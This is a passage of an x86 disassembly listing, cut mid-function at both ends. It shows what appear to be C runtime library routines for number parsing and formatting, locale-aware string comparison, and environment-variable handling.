loc_435529: ; CODE XREF: sub_4352B1+271j
cmp bl, 31h
jl loc_435624
cmp bl, 39h
jg loc_435624
jmp short loc_435547
; ---------------------------------------------------------------------------
loc_43553D: ; CODE XREF: sub_4352B1+63j
; DATA XREF: ?9:off_435752o
cmp bl, 31h ; jumptable 00435314 case 7
jl short loc_435550
cmp bl, 39h
jg short loc_435550
loc_435547: ; CODE XREF: sub_4352B1+250j
; sub_4352B1+28Aj
push 9
loc_435549: ; CODE XREF: sub_4352B1+76j
pop eax
loc_43554A: ; CODE XREF: sub_4352B1+240j
dec edi
jmp loc_435308
; ---------------------------------------------------------------------------
loc_435550: ; CODE XREF: sub_4352B1+28Fj
; sub_4352B1+294j
cmp bl, 30h
jnz short loc_435599
jmp short loc_435518
; ---------------------------------------------------------------------------
loc_435557: ; CODE XREF: sub_4352B1+63j
; DATA XREF: ?9:off_435752o
cmp [ebp+arg_18], 0 ; jumptable 00435314 case 11
jz short loc_435587
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_43557F
dec eax
dec eax
jnz loc_435627
loc_435573: ; CODE XREF: sub_4352B1+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_435308
; ---------------------------------------------------------------------------
loc_43557F: ; CODE XREF: sub_4352B1+258j
; sub_4352B1+2B8j
push 7
loc_435581: ; CODE XREF: sub_4352B1+85j
; sub_4352B1+103j ...
pop eax
jmp loc_435308
; ---------------------------------------------------------------------------
loc_435587: ; CODE XREF: sub_4352B1+2AAj
push 0Ah
dec edi
pop eax
loc_43558B: ; CODE XREF: sub_4352B1+5Dj
; sub_4352B1+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 00435314 case 10
jz loc_435629
jmp loc_435308
; ---------------------------------------------------------------------------
loc_435599: ; CODE XREF: sub_4352B1+12Dj
; sub_4352B1+238j ...
mov edi, [ebp+arg_8]
jmp loc_435629
; ---------------------------------------------------------------------------
loc_4355A1: ; CODE XREF: sub_4352B1+63j
; DATA XREF: ?9:off_435752o
mov [ebp+var_20], 1 ; jumptable 00435314 case 9
xor esi, esi
loc_4355AA: ; CODE XREF: sub_4352B1+339j
cmp dword_4535A4, 1
jle short loc_4355C2
movzx eax, bl
push 4
push eax
call sub_42F05B
pop ecx
pop ecx
jmp short loc_4355D1
; ---------------------------------------------------------------------------
loc_4355C2: ; CODE XREF: sub_4352B1+300j
mov ecx, off_453398
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_4355D1: ; CODE XREF: sub_4352B1+30Fj
test eax, eax
jz short loc_4355F1
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_4355EC
mov bl, [edi]
inc edi
jmp short loc_4355AA
; ---------------------------------------------------------------------------
loc_4355EC: ; CODE XREF: sub_4352B1+334j
mov esi, 1451h
loc_4355F1: ; CODE XREF: sub_4352B1+322j
mov [ebp+var_1C], esi
loc_4355F4: ; CODE XREF: sub_4352B1+371j
cmp dword_4535A4, 1
jle short loc_43560C
movzx eax, bl
push 4
push eax
call sub_42F05B
pop ecx
pop ecx
jmp short loc_43561B
; ---------------------------------------------------------------------------
loc_43560C: ; CODE XREF: sub_4352B1+34Aj
mov ecx, off_453398
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_43561B: ; CODE XREF: sub_4352B1+359j
test eax, eax
jz short loc_435624
mov bl, [edi]
inc edi
jmp short loc_4355F4
; ---------------------------------------------------------------------------
loc_435624: ; CODE XREF: sub_4352B1+99j
; sub_4352B1+E4j ...
dec edi
jmp short loc_435629
; ---------------------------------------------------------------------------
loc_435627: ; CODE XREF: sub_4352B1+261j
; sub_4352B1+2BCj
mov edi, ecx
loc_435629: ; CODE XREF: sub_4352B1+2DDj
; sub_4352B1+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_435711
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_435655
cmp [ebp+var_45], 5
jl short loc_435649
inc [ebp+var_45]
loc_435649: ; CODE XREF: sub_4352B1+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_435658
; ---------------------------------------------------------------------------
loc_435655: ; CODE XREF: sub_4352B1+38Dj
mov eax, [ebp+var_C]
loc_435658: ; CODE XREF: sub_4352B1+3A2j
cmp [ebp+var_4], 0
jbe loc_435707
loc_435662: ; CODE XREF: sub_4352B1+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_435670
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_435662
; ---------------------------------------------------------------------------
loc_435670: ; CODE XREF: sub_4352B1+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_4351EA
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_43568F
neg eax
loc_43568F: ; CODE XREF: sub_4352B1+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_43569A
add eax, [ebp+arg_10]
loc_43569A: ; CODE XREF: sub_4352B1+3E4j
cmp [ebp+var_24], ecx
jnz short loc_4356A2
sub eax, [ebp+arg_14]
loc_4356A2: ; CODE XREF: sub_4352B1+3ECj
cmp eax, 1450h
jle short loc_4356D9
mov [ebp+var_2C], 1
loc_4356B0: ; CODE XREF: sub_4352B1+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_4356BC: ; CODE XREF: sub_4352B1+454j
; sub_4352B1+45Ej
cmp [ebp+var_2C], 0
jz short loc_435722
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_435737
; ---------------------------------------------------------------------------
loc_4356D9: ; CODE XREF: sub_4352B1+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_4356E9
mov [ebp+var_30], 1
jmp short loc_4356B0
; ---------------------------------------------------------------------------
loc_4356E9: ; CODE XREF: sub_4352B1+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_436184
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_4356BC
; ---------------------------------------------------------------------------
loc_435707: ; CODE XREF: sub_4352B1+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_4356BC
; ---------------------------------------------------------------------------
loc_435711: ; CODE XREF: sub_4352B1+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_435737
; ---------------------------------------------------------------------------
loc_435722: ; CODE XREF: sub_4352B1+40Fj
cmp [ebp+var_30], 0
jz short loc_435737
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_435737: ; CODE XREF: sub_4352B1+426j
; sub_4352B1+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_4352B1 endp
; ---------------------------------------------------------------------------
off_435752 dd offset loc_43531B ; DATA XREF: sub_4352B1+63r
dd offset loc_43536A ; jump table for switch statement
dd offset loc_4353C1
dd offset loc_4353EB
dd offset loc_435446
dd offset loc_4354BD
dd offset loc_4354F3
dd offset loc_43553D
dd offset loc_43551C
dd offset loc_4355A1
dd offset loc_43558B
dd offset loc_435557
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435782 proc near ; CODE XREF: sub_4344C3+2Bp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_4357E4
mov byte ptr [ebx+2], 2Dh
jmp short loc_4357E8
; ---------------------------------------------------------------------------
loc_4357E4: ; CODE XREF: sub_435782+5Aj
mov byte ptr [ebx+2], 20h
loc_4357E8: ; CODE XREF: sub_435782+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_43580E
test edi, edi
jnz short loc_43580E
cmp [ebp+arg_0], edi
jnz short loc_43580E
loc_4357F9: ; CODE XREF: sub_435782+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_435A0C
; ---------------------------------------------------------------------------
loc_43580E: ; CODE XREF: sub_435782+6Cj
; sub_435782+70j ...
cmp dx, si
jnz short loc_43588D
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_435827
cmp [ebp+arg_0], 0
jz short loc_435836
loc_435827: ; CODE XREF: sub_435782+9Dj
test edi, 40000000h
jnz short loc_435836
push offset dword_437F30
jmp short loc_43587C
; ---------------------------------------------------------------------------
loc_435836: ; CODE XREF: sub_435782+A3j
; sub_435782+ABj
test cx, cx
jz short loc_435850
cmp edi, 0C0000000h
jnz short loc_435850
cmp [ebp+arg_0], 0
jnz short loc_435877
push offset dword_437F28
jmp short loc_43585F
; ---------------------------------------------------------------------------
loc_435850: ; CODE XREF: sub_435782+B7j
; sub_435782+BFj
cmp edi, eax
jnz short loc_435877
cmp [ebp+arg_0], 0
jnz short loc_435877
push offset dword_437F20
loc_43585F: ; CODE XREF: sub_435782+CCj
lea eax, [ebx+4]
push eax
call sub_42A500
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_43586E: ; CODE XREF: sub_435782+109j
and [ebp+var_4], 0
jmp loc_4359E5
; ---------------------------------------------------------------------------
loc_435877: ; CODE XREF: sub_435782+C5j
; sub_435782+D0j ...
push offset dword_437F18
loc_43587C: ; CODE XREF: sub_435782+B2j
lea eax, [ebx+4]
push eax
call sub_42A500
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_43586E
; ---------------------------------------------------------------------------
loc_43588D: ; CODE XREF: sub_435782+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_436184
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_4358EE
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_435F64
pop ecx
pop ecx
loc_4358EE: ; CODE XREF: sub_435782+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_435908
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_43590B
jmp loc_4357F9
; ---------------------------------------------------------------------------
loc_435908: ; CODE XREF: sub_435782+173j
mov edi, [ebp+arg_C]
loc_43590B: ; CODE XREF: sub_435782+17Fj
cmp edi, 15h
jle short loc_435913
push 15h
pop edi
loc_435913: ; CODE XREF: sub_435782+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_435929: ; CODE XREF: sub_435782+1B4j
lea eax, [ebp+var_10]
push eax
call sub_43518F
dec [ebp+arg_14]
pop ecx
jnz short loc_435929
test esi, esi
jge short loc_435953
neg esi
and esi, 0FFh
jle short loc_435953
loc_435946: ; CODE XREF: sub_435782+1CFj
lea eax, [ebp+var_10]
push eax
call sub_4351BD
dec esi
pop ecx
jnz short loc_435946
loc_435953: ; CODE XREF: sub_435782+1B8j
; sub_435782+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_4359B0
mov [ebp+arg_C], ecx
loc_435963: ; CODE XREF: sub_435782+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_43518F
lea eax, [ebp+var_10]
push eax
call sub_43518F
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_435131
lea eax, [ebp+var_10]
push eax
call sub_43518F
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_435963
mov eax, [ebp+arg_14]
loc_4359B0: ; CODE XREF: sub_435782+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_4359ED
loc_4359BD: ; CODE XREF: sub_435782+248j
cmp eax, ecx
jb short loc_4359D0
cmp byte ptr [eax], 39h
jnz short loc_4359CC
mov byte ptr [eax], 30h
dec eax
jmp short loc_4359BD
; ---------------------------------------------------------------------------
loc_4359CC: ; CODE XREF: sub_435782+242j
cmp eax, ecx
jnb short loc_4359D4
loc_4359D0: ; CODE XREF: sub_435782+23Dj
inc eax
inc word ptr [ebx]
loc_4359D4: ; CODE XREF: sub_435782+24Cj
inc byte ptr [eax]
loc_4359D6: ; CODE XREF: sub_435782+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_4359E5: ; CODE XREF: sub_435782+F0j
mov eax, [ebp+var_4]
loc_4359E8: ; CODE XREF: sub_435782+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4359ED: ; CODE XREF: sub_435782+239j
; sub_435782+275j
cmp eax, ecx
jb short loc_4359FD
cmp byte ptr [eax], 30h
jnz short loc_4359F9
dec eax
jmp short loc_4359ED
; ---------------------------------------------------------------------------
loc_4359F9: ; CODE XREF: sub_435782+272j
cmp eax, ecx
jnb short loc_4359D6
loc_4359FD: ; CODE XREF: sub_435782+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_435A0C: ; CODE XREF: sub_435782+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_4359E8
sub_435782 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435A15 proc near ; CODE XREF: sub_434B4A+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_437F38
push offset sub_42ACF4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp dword_676C6C, ebx
push 1
pop edi
jnz short loc_435A88
push edi
mov eax, offset dword_437670
push eax
push edi
push eax
push ebx
push ebx
call dword_43719C ; CompareStringW
test eax, eax
jz short loc_435A65
mov dword_676C6C, edi
jmp short loc_435A88
; ---------------------------------------------------------------------------
loc_435A65: ; CODE XREF: sub_435A15+46j
push edi
mov eax, offset word_454018
push eax
push edi
push eax
push ebx
push ebx
call dword_4371A0 ; CompareStringA
test eax, eax
jz loc_435C7E
mov dword_676C6C, 2
loc_435A88: ; CODE XREF: sub_435A15+31j
; sub_435A15+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_435A9F
push esi
push [ebp+arg_8]
call sub_435C92
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_435A9F: ; CODE XREF: sub_435A15+78j
cmp [ebp+arg_14], ebx
jle short loc_435AB4
push [ebp+arg_14]
push [ebp+arg_10]
call sub_435C92
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_435AB4: ; CODE XREF: sub_435A15+8Dj
mov eax, dword_676C6C
cmp eax, 2
jnz short loc_435AD9
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4371A0 ; CompareStringA
jmp loc_435C80
; ---------------------------------------------------------------------------
loc_435AD9: ; CODE XREF: sub_435A15+A7j
cmp eax, edi
jnz loc_435C7E
cmp [ebp+arg_18], ebx
jnz short loc_435AEE
mov eax, dword_676998
mov [ebp+arg_18], eax
loc_435AEE: ; CODE XREF: sub_435A15+CFj
cmp esi, ebx
jz short loc_435AFB
cmp [ebp+arg_14], ebx
jnz loc_435B93
loc_435AFB: ; CODE XREF: sub_435A15+DBj
cmp esi, [ebp+arg_14]
jnz short loc_435B08
loc_435B00: ; CODE XREF: sub_435A15+13Cj
; sub_435A15+16Dj
push 2
loc_435B02: ; CODE XREF: sub_435A15+146j
pop eax
jmp loc_435C80
; ---------------------------------------------------------------------------
loc_435B08: ; CODE XREF: sub_435A15+E9j
cmp [ebp+arg_14], edi
jle short loc_435B14
loc_435B0D: ; CODE XREF: sub_435A15+151j
; sub_435A15+159j ...
mov eax, edi
jmp loc_435C80
; ---------------------------------------------------------------------------
loc_435B14: ; CODE XREF: sub_435A15+F6j
cmp esi, edi
jg short loc_435B59
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
call dword_4371D4 ; GetCPInfo
test eax, eax
jz loc_435C7E
cmp esi, ebx
jle short loc_435B5D
cmp [ebp+var_3C], 2
jb short loc_435B59
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_435B59
loc_435B3F: ; CODE XREF: sub_435A15+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_435B59
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_435B53
cmp cl, dl
jbe short loc_435B00
loc_435B53: ; CODE XREF: sub_435A15+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_435B3F
loc_435B59: ; CODE XREF: sub_435A15+101j
; sub_435A15+120j ...
push 3
jmp short loc_435B02
; ---------------------------------------------------------------------------
loc_435B5D: ; CODE XREF: sub_435A15+11Aj
cmp [ebp+arg_14], ebx
jle short loc_435B93
cmp [ebp+var_3C], 2
jb short loc_435B0D
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_435B0D
loc_435B70: ; CODE XREF: sub_435A15+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_435B0D
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_435B88
cmp cl, dl
jbe loc_435B00
loc_435B88: ; CODE XREF: sub_435A15+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_435B70
jmp loc_435B0D
; ---------------------------------------------------------------------------
loc_435B93: ; CODE XREF: sub_435A15+E0j
; sub_435A15+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
call dword_437180 ; MultiByteToWideChar
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_435C7E
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_429A90
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_435BE2
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_435BE2: ; CODE XREF: sub_435A15+1B5j
cmp [ebp+var_24], ebx
jz loc_435C7E
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, dword_437180
call esi ; dword_437180
test eax, eax
jz short loc_435C7E
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi ; dword_437180
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_435C7E
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_429A90
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_435C4D
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_435C4D: ; CODE XREF: sub_435A15+224j
cmp edi, ebx
jz short loc_435C7E
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
call dword_437180 ; MultiByteToWideChar
test eax, eax
jz short loc_435C7E
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_43719C ; CompareStringW
jmp short loc_435C80
; ---------------------------------------------------------------------------
loc_435C7E: ; CODE XREF: sub_435A15+63j
; sub_435A15+C6j ...
xor eax, eax
loc_435C80: ; CODE XREF: sub_435A15+BFj
; sub_435A15+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_435A15 endp
; =============== S U B R O U T I N E =======================================
sub_435C92 proc near ; CODE XREF: sub_430CCF+81p
; sub_435A15+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_435CAF
loc_435CA2: ; CODE XREF: sub_435C92+1Bj
cmp byte ptr [eax], 0
jz short loc_435CAF
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_435CA2
loc_435CAF: ; CODE XREF: sub_435C92+Ej
; sub_435C92+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_435CBA
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_435CBA: ; CODE XREF: sub_435C92+21j
mov eax, edx
retn
sub_435C92 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435CBD proc near ; CODE XREF: sub_434B89+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_435D21
push 3Dh
push [ebp+arg_0]
call sub_4346C4
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_435D21
cmp [ebp+arg_0], esi
jz short loc_435D21
mov eax, dword_6769CC
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, dword_6769D0
jnz short loc_435D07
push eax
call sub_435E9C
pop ecx
mov dword_6769CC, eax
loc_435D07: ; CODE XREF: sub_435CBD+3Cj
cmp eax, edi
jnz short loc_435D5F
cmp [ebp+arg_4], edi
jz short loc_435D29
cmp dword_6769D4, edi
jz short loc_435D29
call sub_434B89
test eax, eax
jz short loc_435D5F
loc_435D21: ; CODE XREF: sub_435CBD+Dj
; sub_435CBD+22j ...
or eax, 0FFFFFFFFh
loc_435D24: ; CODE XREF: sub_435CBD+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_435D29: ; CODE XREF: sub_435CBD+51j
; sub_435CBD+59j
cmp ebx, edi
jnz loc_435E3D
push 4
call sub_4296E8
cmp eax, edi
pop ecx
mov dword_6769CC, eax
jz short loc_435D21
mov [eax], edi
cmp dword_6769D4, edi
jnz short loc_435D5F
push 4
call sub_4296E8
cmp eax, edi
pop ecx
mov dword_6769D4, eax
jz short loc_435D21
mov [eax], edi
loc_435D5F: ; CODE XREF: sub_435CBD+4Cj
; sub_435CBD+62j ...
sub esi, [ebp+arg_0]
mov edi, dword_6769CC
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_435E44
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_435DBF
cmp dword ptr [edi], 0
jz short loc_435DBF
test ebx, ebx
jz short loc_435DB7
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_429822
pop ecx
loc_435D91: ; CODE XREF: sub_435CBD+E2j
cmp dword ptr [edi], 0
jz short loc_435DA1
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_435D91
; ---------------------------------------------------------------------------
loc_435DA1: ; CODE XREF: sub_435CBD+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_431BB3
pop ecx
test eax, eax
pop ecx
jz short loc_435DF1
jmp short loc_435DEC
; ---------------------------------------------------------------------------
loc_435DB7: ; CODE XREF: sub_435CBD+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_435DF1
; ---------------------------------------------------------------------------
loc_435DBF: ; CODE XREF: sub_435CBD+BDj
; sub_435CBD+C2j
test ebx, ebx
jnz short loc_435E3D
test esi, esi
jge short loc_435DC9
neg esi
loc_435DC9: ; CODE XREF: sub_435CBD+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_431BB3
pop ecx
test eax, eax
pop ecx
jz loc_435D21
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_435DEC: ; CODE XREF: sub_435CBD+F8j
mov dword_6769CC, eax
loc_435DF1: ; CODE XREF: sub_435CBD+F6j
; sub_435CBD+100j
cmp [ebp+arg_4], 0
jz short loc_435E3D
push [ebp+arg_0]
call sub_4292D0
inc eax
inc eax
push eax
call sub_4296E8
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_435E3D
push [ebp+arg_0]
push esi
call sub_42A500
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
call dword_437198 ; SetEnvironmentVariableA
push esi
call sub_429822
pop ecx
loc_435E3D: ; CODE XREF: sub_435CBD+6Ej
; sub_435CBD+104j ...
xor eax, eax
jmp loc_435D24
sub_435CBD endp
; =============== S U B R O U T I N E =======================================
sub_435E44 proc near ; CODE XREF: sub_435CBD+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_6769CC
push edi
mov eax, [esi]
test eax, eax
jz short loc_435E7F
mov edi, [esp+8+arg_4]
loc_435E56: ; CODE XREF: sub_435E44+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_434B4A
add esp, 0Ch
test eax, eax
jnz short loc_435E75
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_435E8F
test al, al
jz short loc_435E8F
loc_435E75: ; CODE XREF: sub_435E44+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_435E56
loc_435E7F: ; CODE XREF: sub_435E44+Cj
mov eax, esi
sub eax, dword_6769CC
sar eax, 2
neg eax
loc_435E8C: ; CODE XREF: sub_435E44+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_435E8F: ; CODE XREF: sub_435E44+2Bj
; sub_435E44+2Fj
mov eax, esi
sub eax, dword_6769CC
sar eax, 2
jmp short loc_435E8C
sub_435E44 endp
; =============== S U B R O U T I N E =======================================
sub_435E9C proc near ; CODE XREF: sub_435CBD+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_435EAB
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_435EAB: ; CODE XREF: sub_435E9C+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_435EBD
loc_435EB3: ; CODE XREF: sub_435E9C+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_435EB3
loc_435EBD: ; CODE XREF: sub_435E9C+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_4296E8
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_435EDE
push 9
call sub_42C5AC
pop ecx
